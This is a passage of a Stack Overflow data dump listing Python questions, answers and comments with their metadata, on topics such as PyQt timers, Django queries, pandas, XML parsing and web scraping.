has body: The problem is caused because if the run method finishes executing the thread finishes its execution and therefore it is eliminated and consequently the timer also. The solution is to keep the run method running for it, QEventLoop must be used. import sys from PyQt4 import QtCore class thread1(QtCore.QThread): def __init__(self,*args, **kwargs): QtCore.QThread.__init__(self, *args, **kwargs) self.Timer1 = None def __del__(self): self.wait() def timerPINNo(self): print("Timer completed") def run(self): tempVal0 = getData() if tempVal0 == 0: self.Timer1 = QtCore.QTimer() self.Timer1.timeout.connect(self.timerPINNo) self.Timer1.setSingleShot(True) self.Timer1.start(5000) loop = QtCore.QEventLoop() loop.exec_() if __name__ == "__main__": app = QtCore.QCoreApplication(sys.argv) th = thread1() th.start() sys.exit(app.exec_())
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81723039
answers question: http://stackoverflow.com/q/47350436
score: 1

http://stackoverflow.com/q/47360880
score: 4
upvote count: 4
has title: Mongodb Pymongo create an index for nested object
type: AnsweredQuestion
tagged with: mongodb
tagged with: pymongo
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has body: I have an object like so: { "field1": "somestring", "field2": { "nestedfield1": "somestring", "nestedfield2": "somestring" } } i can create an index on field1 like so db.collection.createIndex('field1') and it will work as expected. But what if I want an index on both nested fields. Do I have to do db.collection.createIndex('field2.nestedfield1') to create that index or will db.collection.createIndex('field2') automatically create that? I will be searching using 'field2.nestedfield1' in my queries and want an index for that. Thanks
accepted answer: http://stackoverflow.com/a/47362617
has answer: http://stackoverflow.com/a/47362617
tagged with: python

http://stackoverflow.com/a/70945454
downvote count: 1
has body: You should try to load your app before the filer app in your settings.py. Think that's the problem
upvote count: 0
type: Answer
score: -1
answers question: http://stackoverflow.com/q/47362946
has comment: http://stackoverflow.com/comment/125421328

http://stackoverflow.com/a/47373770
score: 0
has comment: http://stackoverflow.com/comment/81703339
answers question: http://stackoverflow.com/q/47365546
type: Answer
has body: Ok ,finally got the proper output:: / 20171119101107 // http://localhost:4000/contact [ { "SUBJECT": "BIG_DATA", "PRICE": 9999.999, "AUTHOR": "AKSHAY", "ID": 4, "NAME": "AKSHAY" }, { "SUBJECT": "C Programming", "PRICE": 123.456, "AUTHOR": "Yashwant Kanetkar", "ID": 1001, "NAME": "Exploring C" }, { "SUBJECT": "C Programming", "PRICE": 371.019, "AUTHOR": "Yashwant Kanetkar", "ID": 1002, "NAME": "Pointers in C" }, I removed json.loads() and installed json viewer plugin.Thank you very much for help.
has comment: http://stackoverflow.com/comment/81722296
has comment: http://stackoverflow.com/comment/81700179

http://stackoverflow.com/comment/81610904
comment on: http://stackoverflow.com/a/47329889
has text: @kay that is true, I'll change to that. My example however is that there are more possibilities not mentioned in Anonta's answer.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/a/47371932
has body: You are replacing artists[i]['tags'] with new tags in every loop. You may want to append to it like this: artists[i]['tags'].append(tags) You must create artists[i]['tags'] = [] before loop.
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/47371848
answers question: http://stackoverflow.com/q/47371848

http://stackoverflow.com/comment/81466519
has text: thanks for the comment, can you give some guidance. This form works but I need to save the form data to the model. Do I need to have __init__ in the form constructor and do something ? Thanks. https://gist.github.com/anonymous/db51370aaf0ce759ab51cb24fc390633
comment on: http://stackoverflow.com/q/47256651
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47354677
score: 0
answers question: http://stackoverflow.com/q/47353887
has body: Convert the query into JSON encoding before searching. Use json.dumps(body).
type: Answer

http://stackoverflow.com/q/47379141
tagged with: asp.net
type: Question
has title: How do I let python know that I click "search" button for aspx website?
answer count: 2
upvote count: 0
score: -2
has answer: http://stackoverflow.com/a/47715395
downvote count: 2
tagged with: web-scraping
tagged with: python
has body: I want to get all the shareholding in CCASS and % of the total number of issued shares from on 03/04/2017. Here is the link. http://www.hkexnews.hk/sdw/search/mutualmarket.aspx?t=hk Here is my code. import requests from bs4 import BeautifulSoup url = "http://www.hkexnews.hk/sdw/search/mutualmarket.aspx?t=hk" data = { "sortBy":"", "alertMsg":"", "ddlShareholdingDay":"03", "ddlShareholdingMonth":"04", "ddlShareholdingYear":"2017", } req = requests.post(url, data) soup = BeautifulSoup(req.content, 'html.parser') print(soup) Then the output shows the data of the original website, which is the data without clicking "search" button. I think the problem is form data, I don't know how to let python know that I click "search" button. Here is the form data. form data The rest of the form data are __VIEWSTATE, __VIEWSTATEGENERATOR and __EVENTVALIDATION. By the way, I don't know what is btnSearch.x and btnSearch.y, they are always changing when I click "search". Thank you very much.
favorite count: 0
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47715395
accepted answer: http://stackoverflow.com/a/47380235
has answer: http://stackoverflow.com/a/47380235

http://stackoverflow.com/comment/81695606
score: 0
has text: Let me explain in different way. There are bunch of operation codes for every process. Lets take one process as an example. There are different combinations of operation codes for this process. And they are in a sequence in separate arrays, every array shows sequence of operation codes for same process in different time. Like array1:[234,345,...34], array2: [23,345,....,34] etc. These arrays very good to use training set. And the one that I want to predict is in a new array but in a mix sequence, I want to predict to operation codes sequence according to past data.
comment on: http://stackoverflow.com/a/47371113
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81521805
has text: Which I try to say, I want for test1: 1 /(2+1) + 1/(3+1) = 0,5833
type: Comment
comment on: http://stackoverflow.com/q/47285774
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81620459
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47320113
has text: @stacksonstacks, I'm also looking in that direction but is weird that this works using the same pip configuration when the image is build in other host or using a different docker image, I have also noticed that if the packet can be installed with `yum`, for instance in this case `yum install python2-pyvmomi` it works well, but if the package is not available using yum, a pip installation works successfully.
type: Comment

http://stackoverflow.com/comment/81558662
type: QuestionComment
comment on: http://stackoverflow.com/q/47303876
score: 0
has text: This is working source_id = var2.get('source_id') but this is not source_ids = var2.get('source_id')...Why is that?
type: Comment

http://stackoverflow.com/a/47324543
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/47324442
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47324442
has body: Yes timedelta is a good way to adjust a timestamp. However note that your duration variable is a string. As per the documentation it should be an integer or float: All arguments are optional and default to 0. Arguments may be integers or floats, and may be positive or negative.
type: Answer

http://stackoverflow.com/q/47250958
accepted answer: http://stackoverflow.com/a/47283747
tagged with: python
type: Question
has title: Linking one field of a model to another by queryset
has answer: http://stackoverflow.com/a/47283747
answer count: 1
tagged with: django
has body: I have a session variable that stores the ID of a model. I would now like to filter query sets by the name of the model instead of the id. Currently it only filter by the ID that it compares to the name. How can I get it to use the name instead of ID. Template link Working Page Urls url(r'^select/(?P<company_id>\d+)/$', views.comp_select, name='select'), view1 def comp_select(request, company_id): request.session['company'] = company_id return redirect('nodisoapp:working',company_id) Filter View class LeadListView(LoginRequiredMixin, generic.ListView): login_url = '/scrty/login/' template_name = "nodiso/leadslist.html" model = models.Leads def get_context_data(self, **kwargs): ctx = super(LeadListView, self).get_context_data(**kwargs) ctx['company']= models.Company.objects.all() return ctx def get_queryset(self): return models.Leads.objects.filter(company=self.request.session['company']) Parent Model class Company(models.Model): user = models.ManyToManyField(settings.AUTH_USER_MODEL) name = models.CharField(max_length=265, blank=True) tel = models.IntegerField(blank=True, null=True) email = models.EmailField(max_length=265,blank=True) address = models.TextField(blank=True) postal = models.TextField(blank=True) regno = models.CharField(max_length=265,blank=True) vatno = models.CharField(max_length=265,blank=True) def __str__(self): return self.name def get_absolute_url(self): return reverse('nodisoapp:home') Child Model class Leads(models.Model): company = models.ForeignKey(Company) user = models.ManyToManyField(settings.AUTH_USER_MODEL) name = models.CharField(max_length=265) email = models.EmailField(max_length=265) tel = models.IntegerField() dateenq = models.DateField(blank=True,null=True) def get_absolute_url(self): return reverse('nodisoapp:leadlist') def __str__(self): return self.name
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47292096
has comment: http://stackoverflow.com/comment/81534970
has comment: http://stackoverflow.com/comment/81536798
accepted answer of: http://stackoverflow.com/q/47291784
has comment: http://stackoverflow.com/comment/81534935
has comment: http://stackoverflow.com/comment/81534685
type: Answer
has comment: http://stackoverflow.com/comment/81536433
has comment: http://stackoverflow.com/comment/81534779
score: 4
answers question: http://stackoverflow.com/q/47291784
has body: You can try creating the constructors as following: 1) Student class Student(Person): #DERIVED CLASS def __init__(self, x, y, z, s): Person.__init__(self,x, y, z) self.school = s 2) Worker class Worker(Person): #DERIVED CLASS def __init__(self, x, y, z, c): Person.__init__(self,x, y, z) self.company = c 3) Student Worker class Student_Worker(Student, Worker): #MULTIPLE DERIVED CLASS def __init__(self,x,y,z,s,c): Student.__init__(self,x,y,z,s) Worker.__init__(self,x,y,z,c) If you run your code, you will get this output: Greetings! I am John Greetings! I am Sam Greetings! I am Larry Greetings! I am Brandy Greetings! I am Brandy John M 1900 Sam F 1910 iSchool Larry M 1920 E-SITE Brandy F 1930 E-Site iSchool
has comment: http://stackoverflow.com/comment/81535177
has comment: http://stackoverflow.com/comment/81535573
upvote count: 4
has comment: http://stackoverflow.com/comment/81535354
has comment: http://stackoverflow.com/comment/81534737
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81535432
downvote count: 0
has comment: http://stackoverflow.com/comment/81534996
has comment: http://stackoverflow.com/comment/81537702
has comment: http://stackoverflow.com/comment/81534952
has comment: http://stackoverflow.com/comment/81534882
has comment: http://stackoverflow.com/comment/81536947

http://stackoverflow.com/comment/81584464
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47316763
has text: Have you tried using a smaller date range for your query?
score: 0

http://stackoverflow.com/comment/81459606
has text: Thanks for help, but this isn't what i had on my mind. I wanted user to write numbers in input in just one line (like, 1 5 9 3 7) and these numbers will be saved in list.
type: AnswerComment
comment on: http://stackoverflow.com/a/47254343
score: 0
type: Comment

http://stackoverflow.com/q/47337621
has body: can you please give me advice, how to speed up things in Python My current issue - code works - but eat all the memory - as I have 2 included for loop ( So - I have 2 lists of dicts and need filter it based on logic below. count = 0 size = 0 latest = dateutil.parser.parse('1900-01-01T00:00:00.000') for obj_seg in objects_segments[1]: exclude = False for obj in objects[1]: if obj['name'] in obj_seg['name']: exclude = True break if not exclude: d = dateutil.parser.parse(obj_seg['last_modified']) if d &gt; latest: latest = d size+=obj_seg['bytes'] count+=1 Problem that "objects_segments[1]" can include up to 30M elements, and "objects[1]" - up to 100K... What the better way to operate with such data without this ugly included for_loop ( UPD1: Change boolean logic and add break to second cycle. Tnx @nthall
tagged with: python-2.7
score: 1
has answer: http://stackoverflow.com/a/47337708
has title: Python - How to filter list of dics based on another list of dics
favorite count: 0
type: Question
tagged with: filtering
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python

http://stackoverflow.com/a/56084885
answers question: http://stackoverflow.com/q/47240047
type: Answer
has body: also make sure the name of the chrome driver is chromedriver.exe, renaming would cause issue in opening
score: 0

http://stackoverflow.com/q/47260390
type: Question
has comment: http://stackoverflow.com/comment/81471840
has body: **START IB 1107518415 BI Paperback BC JHBC CO United Kingdom ED Alvarez, R. Michael ** IB 0415836662 BI Paperback AU Pituch, Keenan A. AU Stevens, James P. BC JHBC CO United Kingdom EI 6 Rev ed Please find above sample data, i need under IB->"1107518415" as first row and "0415836662" as second row and so on, please help me.
has answer: http://stackoverflow.com/a/47261064
tagged with: python
answer count: 2
downvote count: 4
has comment: http://stackoverflow.com/comment/81472546
upvote count: 0
type: UnansweredQuestion
score: -4
has title: Python to transform rows to columns with delimeter, data contain *** need to delimit according to that
has answer: http://stackoverflow.com/a/47261196
favorite count: 0

http://stackoverflow.com/q/47295181
has answer: http://stackoverflow.com/a/47567432
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47295237
has answer: http://stackoverflow.com/a/47568239
has comment: http://stackoverflow.com/comment/81541451
has answer: http://stackoverflow.com/a/47567888
has answer: http://stackoverflow.com/a/47599195
downvote count: 0
answer count: 7
favorite count: 0
linked to: http://stackoverflow.com/q/36205912
has answer: http://stackoverflow.com/a/47571293
type: Question
has body: I have some old programs from back in the times when python 3.1 came out. In the program I often used the Callable() to pass a function and it's parameters like this to my TKinter application: tvf.mi(datei_bu, text=datei_opt, command=Callable(exec_datei_opts, datei_opt)) Now I wanted to use my programs again but the callable- Object was gone. In the web I found that this functionality was removed in python 3.2, and none of the alternatives worked for me. Finally I decided to reinstall python 3.1. However, I have no idea if it is possible to have multiple python 3 versions installed at the same time or how to 'create' a shell command for this version when I want to use this special version. My questions are: Is there a replacement for the Callable- Object that was removed? How can I use multiple python versions at the same time? How can I create a matching shell command?
score: 5
linked to: http://stackoverflow.com/q/47479965
upvote count: 5
tagged with: python-3.1
has answer: http://stackoverflow.com/a/47567784
has title: On Raspbian run multiple python Versions simultaniously
tagged with: python
accepted answer: http://stackoverflow.com/a/47571293
tagged with: callable-object
possible better answer: http://stackoverflow.com/a/47568239

http://stackoverflow.com/comment/81588836
type: Comment
type: QuestionComment
score: 0
has text: @DRPK I have added the error I got when running the script.Thank you
comment on: http://stackoverflow.com/q/47316912

http://stackoverflow.com/a/47280773
answers question: http://stackoverflow.com/q/47280129
type: Answer
accepted answer of: http://stackoverflow.com/q/47280129
has body: From ElementTree docs: We can import this data by reading from a file: import xml.etree.ElementTree as ET tree = ET.parse('country_data.xml') root = tree.getroot() Or directly from a string: root = ET.fromstring(country_data_as_string) and later in the same page, 20.5.1.4. Finding interesting elements: for neighbor in root.iter('neighbor'): print(neighbor.attrib) Which translate to: import xml.etree.ElementTree as ET root = ET.fromstring(""" <H D="14/11/2017"> <F LV="0">The quick</F> <F LV="1">brown</F> <F LV="2">fox</F> </H> <H D="14/11/2017"> <F LV="0">The lazy</F> <F LV="1">fox</F> </H> """) # root = tree.getroot() for h in root.iter("H"): print (h.attrib["D"]) for f in root.iter("F"): print (f.attrib, f.text) output: 14/11/2017 14/11/2017 {'LV': '0'} The quick {'LV': '1'} brown {'LV': '2'} fox {'LV': '0'} The lazy {'LV': '1'} fox
type: AcceptedAnswer
score: 13
upvote count: 13
downvote count: 0

http://stackoverflow.com/comment/81451815
score: 0
comment on: http://stackoverflow.com/q/47249979
type: Comment
has text: Please give the error and the screenshot of the list we need to know how the list looks like and also give the html code of the element: a._t98z6 and li._6e4x5 . the class (_t98z6 and _6e4x5) looks like dynamical value, are your sure they are not change when enter the page every time?
type: QuestionComment

http://stackoverflow.com/comment/81453695
score: 0
has text: Thanks for the reply, but it's failing for `67535`. Output from your program: `174358203` Expected output: `358739816` i used `print(count(67535)%1000000007)`
type: Comment
comment on: http://stackoverflow.com/a/47251652
type: AnswerComment

http://stackoverflow.com/q/47225906
type: UnansweredQuestion
tagged with: python
has title: Python - Re-assigning parent attribute in derived class
tagged with: inheritance
linked to: http://stackoverflow.com/q/3648564
has comment: http://stackoverflow.com/comment/81402298
tagged with: class
score: -1
has comment: http://stackoverflow.com/comment/81402566
linked to: http://stackoverflow.com/q/10909032
linked to: http://stackoverflow.com/q/2399307
answer count: 2
downvote count: 2
has answer: http://stackoverflow.com/a/47226044
upvote count: 1
has comment: http://stackoverflow.com/comment/81402185
favorite count: 0
has answer: http://stackoverflow.com/a/47226047
type: Question
has body: I have below code: class Parent(): def __init__(self,name): self.name = name def printing(self): print(self.name) class Child (Parent): def __init__(self,name,country): Parent.name = 'Roger' self.name = name self.country = country def Output(self): print(Parent.name,self.name,self.country) obj = Child('Rafael','France') Now, obj.Output() returns: Roger Rafael France and obj.printname() returns: Rafael Can anybody please explain why assigning Parent.name = 'Roger' didn't change it in the parent class? Want to understand why `Parent.name' is not getting overridden.

http://stackoverflow.com/q/47239414
type: Question
has answer: http://stackoverflow.com/a/47239472
accepted answer: http://stackoverflow.com/a/47239472
has title: Combing two large data frames based on conditions in jupyter notebook
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: pandas
has body: My first data frame has various columns one of which contains a Practice ID column and my second data frame has various columns one of which contains practice No so I have found the link between the two. However how can I link these together using the Practice number to assign the postcode information from data frame 2 to the correct practice in data frame 1. Any help would be greatly appreciated!!! Date frame 1 ID Practice Items Cost 0 5 10 2001.00 1 12 2 20.98 2 2 4 100.80 3 7 7 199.60 Data frame 2 ID Prac No Dr Postcode 0 1 Dr.K BT94 7HX 1 5 Dr.H BT7 4MC 2 3 Dr.Love BT9 1HE 3 7 Dr.Kerr BT72 4TX I want to create a new column 'Postcode' in Data frame 1 and assign the postcode to the correct Practice ID Practice Items Cost Postcode 0 5 10 BT7 4MC 1 3 3 BT9 1HE 2 22 8 BT62 4TU 3 7 7 BT72 4TX How can I do this??
answer count: 1

http://stackoverflow.com/comment/81451136
comment on: http://stackoverflow.com/a/47250247
has text: because you are in pdb breakpoint. go to command line press c and enter to resume. than remove import pdb and ipdb.set_trace lines. pdb is for detecting what exactly fails. when you fix your problem you should remove all pdb.set_trace() lines. please read the documentation of pdb it is very useful for solving many problems with your python cpde
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47356684
upvote count: 2
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81676369
has body: As we all know, the contours is a list of np.ndarray. So we cann't avoid using numpy. Then why not use np.argsort()? cnts = cv2.findContours(threshed, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)[-2] areas = np.array([cv2.contourArea(cnt) for cnt in cnts]) idxs = areas.argsort() cnts2 = [cnts[i] for i in idxs]
answers question: http://stackoverflow.com/q/47354130
has comment: http://stackoverflow.com/comment/81668231
has comment: http://stackoverflow.com/comment/81677964
has comment: http://stackoverflow.com/comment/81678444
type: Answer

http://stackoverflow.com/a/47322163
has body: StaleElementReferenceException means the WebElement you are trying to use is no longer valid. This happens when the DOM has changed (like moving to another url) or refreshed. You can keep the urls in another list and iterate over it mylinks = driver.find_elements_by_xpath("//*[starts-with(@id, 'ctl00') and contains(@id, 'ManufacturerName')]") hrefs = [] for link in mylinks: hrefs.append(link.get_attribute('href')) for href in hrefs: print href datlnk = href #... As a side note, wait = WebDriverWait(driver, 10) should be defined once, not every iteration of the loop.
accepted answer of: http://stackoverflow.com/q/47321897
score: 0
answers question: http://stackoverflow.com/q/47321897
type: Answer
type: AcceptedAnswer

http://stackoverflow.com/q/47369579
type: Question
tagged with: opencv
has answer: http://stackoverflow.com/a/47369915
has answer: http://stackoverflow.com/a/47369992
accepted answer: http://stackoverflow.com/a/47369992
upvote count: 6
has answer: http://stackoverflow.com/a/47369969
tagged with: python
has body: I want to get a Gaussian window of size m rows and n columns. I know how to get to 1-dimension. i.e below. from scipy.stats import multivariate_normal multivariate_normal(mean=[1, 5], cov=(2.5)) Now I want two dimensions of a matrix. Purpose: I want fit this filter on top an image. the green color is a matrix of an image. Blue circle is a Gaussian filter. I am not sure how to get the blue window. I am thinking to apply something like this - gw = multivariate_normal(mean=[1, 5], cov=(2.5)) for i in range(image.shape[0): image_gauss_window[i:] = gw Can you give a way to find out the Gaussian filter for an image? I see opencv many functions apply a Gaussian blur to an image. But here I want the filter before applying/convolving on top of an image.
answer count: 4
tagged with: numpy
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/57459583
possible better answer: http://stackoverflow.com/a/47369969
score: 6
has title: how to get the gaussian filter?
tagged with: scipy
favorite count: 0

http://stackoverflow.com/q/47298799
tagged with: flask
favorite count: 0
has answer: http://stackoverflow.com/a/51219545
has title: flask-jwt-extended: customizing error message
tagged with: jwt
score: 3
has answer: http://stackoverflow.com/a/47315584
tagged with: python
type: Question
tagged with: flask-jwt-extended
answer count: 2
has body: When the flask-jwt-extended token has expired, a HTTP request will result in this JSON response { "msg": "Token has expired" } My application has a fixed error response format: { "message": "Project name 'Test 8' already exist.", "error": { "resource": "Project", "field": "project_name", "code": "already_exists", "stack_trace": "(psycopg2.IntegrityError) duplicate key value violates unique constraint \"project_name_idx\"\nDETAIL: Key (project_name)=(Test 8) already exists.\n [SQL: 'INSERT INTO project (project_name, project_root, deadline_id) VALUES (%(project_name)s, %(project_root)s, %(deadline_id)s) RETURNING project.project_id'] [parameters: {'project_name': 'Test 8', 'project_root': 'P:\\\\Test8', 'deadline_id': 2}]" } } How do I customize flask-jwt-extended error response?
upvote count: 3
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/q/47336646
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
score: 1
downvote count: 0
answer count: 1
has title: Python Pandas print() and .to_csv() truncating results
accepted answer: http://stackoverflow.com/a/47336671
has answer: http://stackoverflow.com/a/47336671
favorite count: 0
type: Question
upvote count: 1
has body: I have a dataframe with 8 columns and 1399 rows. When I use the print() function to display the dataframe, it comes out roughly like this: Column 1 Column 2 Column 3 Column 4 \ 1 data data data data 2 data data data data 3 data data data data 4 data data data data 5 data data data data ... ... ... .... .... 1395 data data data data 1396 data data data data 1397 data data data data 1398 data data data data 1399 data data data data Column 5 Column 6 Column 7 Column 8 1 data data data data 2 data data data data 3 data data data data 4 data data data data 5 data data data data ... ... ... .... .... 1395 data data data data 1396 data data data data 1397 data data data data 1398 data data data data 1399 data data data data I thought that this was just python making it easy to read via standard output, but when I use the .to_csv() function, the resulting .csv file looks exactly like the above. I've never had Pandas do this before. Does anyone know what I'm doing wrong? Thanks in advance.
tagged with: python
type: AnsweredQuestion
tagged with: printing

http://stackoverflow.com/comment/81696312
type: AnswerComment
has text: Ah, thanks for catching that; I updated my answer with the method that only uses lists.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47371744

http://stackoverflow.com/comment/133325423
score: 0
type: Comment
comment on: http://stackoverflow.com/a/75562771
has text: While this code snippet may be the solution, including a detailed explanation really helps to improve the quality of your post. Remember that you are answering the question for readers in the future, and those people might not know the reasons for your code suggestion.
type: AnswerComment

http://stackoverflow.com/q/47252632
downvote count: 1
favorite count: 0
has body: I have building a GUI in Python through PyQt5. I am showing a web browser with a google maps page. The user is supposed to move the marker and my program should process the coordinates of the marker. Therefore I have to pass the coordinates from JS to Python, but I can't manage to make it work. Here is the HTML file: Click and drag the marker. Current position: And here is the Python code: import sys from PyQt5.QtWidgets import * from GUI_tmy3 import * class ShowMap_fun(QMainWindow): def __init__(self): super().__init__() self.map_ui = Ui_tmy3page() # The name of my top level object is MainWindow self.map_ui.setupUi(self) self.map_ui.html_code.load(QtCore.QUrl.fromLocalFile('/Users/carlo/Dropbox/modules_NEW/useless.html')) if __name__ == '__main__': app = QApplication(sys.argv) ex = ShowMap_fun() ex.show() sys.exit(app.exec_()) With the GUI code: from PyQt5 import QtCore, QtGui, QtWidgets class Ui_tmy3page(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(900, 620) MainWindow.setMinimumSize(QtCore.QSize(900, 620)) MainWindow.setMaximumSize(QtCore.QSize(900, 620)) MainWindow.setWindowTitle("") self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.html_code = QtWebEngineWidgets.QWebEngineView(self.centralwidget) self.html_code.setGeometry(QtCore.QRect(0, 0, 901, 621)) self.html_code.setUrl(QtCore.QUrl("about:blank")) self.html_code.setObjectName("html_code") MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): pass from PyQt5 import QtWebEngineWidgets I understand the easiest method would be to use QWebChannel. I found an example here but I can't adapt it to my case. Any suggestion?
type: Question
upvote count: 2
tagged with: javascript
tagged with: python
tagged with: qtwebchannel
accepted answer: http://stackoverflow.com/a/47253906
has title: How to pass info from JS to Python using QWebChannel
tagged with: pyqt
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47253906
tagged with: pyqt5
score: 1
answer count: 1

http://stackoverflow.com/comment/81478301
comment on: http://stackoverflow.com/a/47262889
has text: I think no, check `print (m1)`, there is only `True` for `0,2`. `last 5` row is `False`
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47285324
type: Answer
answers question: http://stackoverflow.com/q/47285092
has body: It works as expected... dates = [] for item, file in enumerate(paths): match = re_date.search(file) if match: dates.append(match.group()) print(dates) Prints: ['2017-04-12', '2017-05-01', '2016-11-18', '2017-10-11'] Read more about escaping characters and raw strings: &gt;&gt;&gt; print("\\") \ &gt;&gt;&gt; print(r"\\") \\
score: 0

http://stackoverflow.com/a/47265541
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47264230
type: Answer
answers question: http://stackoverflow.com/q/47264230
has body: Believe,you have missed to create a tuple for each series value, &gt;&gt;&gt; dates = pd.Series(pd.date_range(start='1/1/1980', end='1/11/1980')).dt.strftime('%y%m%d').astype(int).values.tolist() &gt;&gt;&gt; rdd = sc.parallelize(dates).map(lambda x:(x,)) &gt;&gt;&gt; _schema = StructType([StructField("date_id", IntegerType(), True),]) &gt;&gt;&gt; df = spark.createDataFrame(rdd,schema=_schema) &gt;&gt;&gt; df.show() +-------+ |date_id| +-------+ | 800101| | 800102| | 800103| | 800104| | 800105| | 800106| | 800107| | 800108| | 800109| | 800110| | 800111| +-------+ &gt;&gt;&gt; df.printSchema() root |-- date_id: integer (nullable = true)
score: 2
upvote count: 2

http://stackoverflow.com/q/47372961
has answer: http://stackoverflow.com/a/47373229
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has answer: http://stackoverflow.com/a/47373027
type: AnsweredQuestion
answer count: 2
score: 0
possible better answer: http://stackoverflow.com/a/47373027
upvote count: 1
has title: Writing to scraped links to a CSV file using Python3
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/47373229
tagged with: beautifulsoup
type: Question
has body: I have scraped a website for html links and have a result of about 500 links. When I try to write them to a csv file, I do not get the list only the base page. Here is my code: import requests from bs4 import BeautifulSoup import csv page = requests.get('https://www.census.gov/programs-surveys/popest.html') print(page.status_code) soup = BeautifulSoup(page.text, 'html.parser') link_set = set() for link in soup.find_all('a'): web_links = link.get("href") print(web_links) csvfile = open('code_python.csv', 'w+', newline='') writer = csv.writer(csvfile) writer.writerow(['Links']) writer.writerow([web_links]) csvfile.close() I only get two lines in my csv file. The header 'Links' and www.census.gov. I have tried making it different by add another for loop in the csv writer area, but I get similar results. for link in soup.find_all('a'): web_links = link.get('href') abs_url = join(page, web_links) print(abs_url) if abs_url and abs_url not in link_set: writer.write(str(abs_url) + "\n") link_set.add(abs_url) It seems the 'web_links' definition should be where I put all the links into the csv file, but no dice. Where am I making my mistake?
tagged with: python-3.x

http://stackoverflow.com/a/78773487
score: 0
answers question: http://stackoverflow.com/q/47313426
has body: After playing around a bit, it looks like pip just shows blank if the module does not exist. The best sanity check is to try modules that do exist. Example: Go to the correct Python folder with correct latest version. Then type: .\python.exe -m pip install --upgrade pip .\python.exe -m pip install --upgrade setuptools If these commands work, they should upgrade your pip and setuptools to the latest version. THEN, if you change 'setuptools' to the library you want, e.g., 'abcdefgh', and THEN you get BLANK, it means the library doesn't exist. Check for typos, or perhaps a library that existed in Python 2 now has a new name in Python 3, etc.
type: Answer

http://stackoverflow.com/comment/81441257
has text: You should post your view, there's where you define which template to use.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47243760

http://stackoverflow.com/a/47231501
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47229729
accepted answer of: http://stackoverflow.com/q/47229729
score: 1
type: Answer
type: AcceptedAnswer
has body: It sounds like you want to do something like df.apply(lambda row: np.argmin(np.linalg.norm(accepted_centroids - row.values, axis=1)), axis=1)

http://stackoverflow.com/a/66699884
upvote count: 1
score: 1
has body: driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { "source": " Object.defineProperty(navigator, 'plugins', { get: () => [1, 2, 3, 4, 5] }); "}) This is the solution for plugins.length The author mentioned solution in the post. I confirmed it works perfectly.
answers question: http://stackoverflow.com/q/47374913
type: Answer
has comment: http://stackoverflow.com/comment/129197697
downvote count: 0

http://stackoverflow.com/comment/81660111
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47353758
has text: I don't have my mac with me, so I can't provide an example for macOS, but on my Windows machine I've entered it as: `C:\Users\Marcel\Drivers\geckodriver`. I added the folder containing the driver, not the actual driver
type: AnswerComment

http://stackoverflow.com/q/47364892
linked to: http://stackoverflow.com/q/47363786
downvote count: 3
tagged with: python
has answer: http://stackoverflow.com/a/47364927
has body: I have been stuck dealing with an error in python and have been searching for a while to fix it but to no avail. Here is the error I am getting Traceback (most recent call last): File "C:\Users\wood\Desktop\Software design\Program 4\program3_4QuinnWood.py", line 62, in &lt;module&gt; main() File "C:\Users\wood\Desktop\Software design\Program 4\program3_4QuinnWood.py", line 23, in main displayOutput(letterCount,middleCharacter,spaceAmount,aReplace) File "C:\Users\wood\Desktop\Software design\Program 4\program3_4QuinnWood.py", line 56, in displayOutput print('Number of letters:'(letterCount)) TypeError: 'str' object is not callable Here is the code I have written so far. def main(): while True: sentence= userInput() letterCount= characterCount(sentence) middleCharacter= middleLetter(sentence) spaceAmount= spaceCount(sentence) aReplace= letterReplace(sentence) displayOutput(letterCount,middleCharacter,spaceAmount,aReplace) def userInput(): sentence = str(input('Enter a sentence at least 10 letters long, or type STOP to quit:')) if sentence == 'STOP': quit() return sentence def characterCount(sentence): letterCount = len(sentence) - sentence.count(' ') if letterCount &lt; 10: print('Sorry that is less than 10 letters') def middleLetter(sentence): sentence = len(sentence)/2 middleCharacter = [sentence +1] def spaceCount(sentence): spaceAmount = sentence.count(' ') def letterReplace(sentence): aReplace= sentence.replace("a", "&amp;") def displayOutput(letterCount,middleCharacter,spaceAmount,aReplace): print('Number of letters:'(letterCount)) print('Middle letter:'(middleCharacter)) print('Spaces counted:'(spaceAmount)) print('Sentence with letter replaced:'(aReplace)) main() The solution is probably something 